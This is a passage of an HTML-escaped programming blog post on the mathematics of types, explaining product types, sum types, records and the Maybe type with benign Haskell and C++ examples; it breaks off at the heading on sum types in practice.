&lt;span class=&quot;token hvariable&quot;&gt;tuple2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- We can have a product type of product types.&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple3&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Double&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple3&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3.14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Although semantically, it&#39;s the same as...&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple4&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Double&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;tuple4&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3.14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token char string&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Haskell Data Constructor&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- ------------------------&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- We define a new type: RectangleType.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- We also define Rect to be a data constructor.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- The data constructor takes 4 integer arguments.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;RectangleType&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Rect&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- We can create a RectangleType by passing concrete &lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- values to the Rect data constructor.&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;rect&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;RectangleType&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;rect&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Rect&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Haskell Record&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- --------------&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- Let&#39;s define a record!&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- With Haskell record syntax, we can give names to fields.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;-- Here, `Person` is both the type and data constructor.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Person&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Person&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- Let&#39;s construct a Person type! A person has a name AND an age.&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;record&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Person&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;record&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Person&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Peter Parker&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In the final example above, we wrote a product type representing a &lt;code&gt;Person&lt;/code&gt;. All people have &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;age&lt;/code&gt; properties, so it makes sense to combine them in coexistence.&lt;/p&gt;
&lt;h3 id=&quot;sum-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#sum-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Sum Types&lt;/h3&gt;
&lt;p&gt;Sum types are another way to combine types. In contrast to product types, sum types combine types &lt;em&gt;exclusively&lt;/em&gt;. The choice of crust is like a sum type. Should the crust be thin, thick, or stuffed with cheese? We can only choose one option.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Sum types stand out from the historic dominance of product types.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 559&quot; alt=&quot;Teletubbies handstacking meme, sum types are different from product types.&quot; title=&quot;Sum types stand out from the historic dominance of product types.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sum types in their &lt;em&gt;simplest&lt;/em&gt; form are just enums. In C/C++, we might define them like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Bool&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	False&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	True&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In Haskell, a &lt;code&gt;Bool&lt;/code&gt; can be defined like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Notice the vertical bar &lt;code&gt;|&lt;/code&gt;. This means a value with type &lt;code&gt;Bool&lt;/code&gt; can either be &lt;code&gt;False&lt;/code&gt; or &lt;code&gt;True&lt;/code&gt;. It can’t be both at the same time.&lt;/p&gt;
&lt;p&gt;Sum types also allow us to represent more complex data structures. Suppose we want to model students and teachers in a school. The traditional object-oriented method would be to declare a base &lt;code&gt;Member&lt;/code&gt; class, then derive &lt;code&gt;Student&lt;/code&gt; and &lt;code&gt;Teacher&lt;/code&gt; classes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// C++ Object-Oriented Approach&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; Course &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// For simplicity, a course is simply a string.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Member&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Student&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Member&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// A student...&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; year&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                    &lt;span class=&quot;token comment&quot;&gt;// ...belongs to a year.&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Course&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; courses&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ...takes some courses.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Teacher&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Member&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Course&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; teaches&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// A teacher teaches some courses.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In functional programming, we could express a &lt;code&gt;Member&lt;/code&gt; as a sum type of &lt;code&gt;Student&lt;/code&gt; or &lt;code&gt;Teacher&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Course&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;String&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Member&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Student&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;courses&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Course&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
			&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Teacher&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;teaches&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Course&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;Student&lt;/code&gt; and &lt;code&gt;Teacher&lt;/code&gt; are two branches of the &lt;code&gt;Member&lt;/code&gt; type, and a &lt;code&gt;Member&lt;/code&gt; can only be either a &lt;code&gt;Student&lt;/code&gt; or a &lt;code&gt;Teacher&lt;/code&gt;. We can also add more branches to the sum type, such as &lt;code&gt;Administrator&lt;/code&gt;, &lt;code&gt;Visitor&lt;/code&gt;, and so on.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;There are pros and cons for choosing between the object-oriented approach and functional approach, but that’s a topic for another day.&lt;/p&gt;
&lt;p&gt;Sum types also enable us to express errors in a type-safe way. We can create a &lt;code&gt;Maybe&lt;/code&gt; type that can be either &lt;code&gt;Nothing&lt;/code&gt; or &lt;code&gt;Just&lt;/code&gt; with the former indicating no result, and the latter indicating some result. (More on this later!)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Maybe&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Nothing&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Just&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This type allows us to handle errors in a more structured way and avoid a lot of &lt;code&gt;if-else&lt;/code&gt; statements (with the help of monads!).&lt;/p&gt;
&lt;p&gt;To sum up, sum types enable us to express complex data structures, while avoiding redundancy and making our code more maintainable and type-safe.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;We call &lt;code&gt;Just&lt;/code&gt; a &lt;em&gt;data constructor&lt;/em&gt;. This means we can construct concrete data by applying values to &lt;code&gt;Just&lt;/code&gt;, as if it were a function. For example, &lt;code&gt;Just 1&lt;/code&gt;, &lt;code&gt;Just &amp;quot;in&amp;quot;&lt;/code&gt;, and &lt;code&gt;Just (Just 42)&lt;/code&gt; are all concrete data. The same applies to &lt;code&gt;False&lt;/code&gt;, &lt;code&gt;True&lt;/code&gt;, and &lt;code&gt;Nothing&lt;/code&gt;, but those don’t take arguments.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;types-in-the-wild&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#types-in-the-wild&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Types in the Wild&lt;/h2&gt;
&lt;p&gt;Let’s familiarise ourselves with ADTs and look at a few use cases.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;std::any — I choose you!&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/wild-types-510w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/wild-types-510w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 510 / 499&quot; alt=&quot;Pokemon battle with the user pulling out their prized pokemon: std::any.&quot; title=&quot;std::any — I choose you!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/wild-types-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/mathematics-of-types/assets/wild-types-510w.webp 510w&quot; sizes=&quot;(max-width: 256px) 256px, 510px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;product-types-in-the-wild&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#product-types-in-the-wild&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Product Types in the Wild&lt;/h3&gt;
&lt;p&gt;In most languages, product types are useful when passing/returning data containing multiple values. For instance, we can define a &lt;code&gt;divMod&lt;/code&gt; function which returns the quotient and the remainder of two numbers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;divMod&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`div`&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;`mod`&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;divMod&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;ghci&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;divMod&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-secondary d-flex align-items-start&quot;&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In the Haskell REPL, lines starting with &lt;code&gt;ghci&amp;gt;&lt;/code&gt; indicate REPL input. Other lines are REPL output.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;sum-types-in-the-wild&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#sum-types-in-the-wild&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Sum Types in the Wild&lt;/h3&gt;
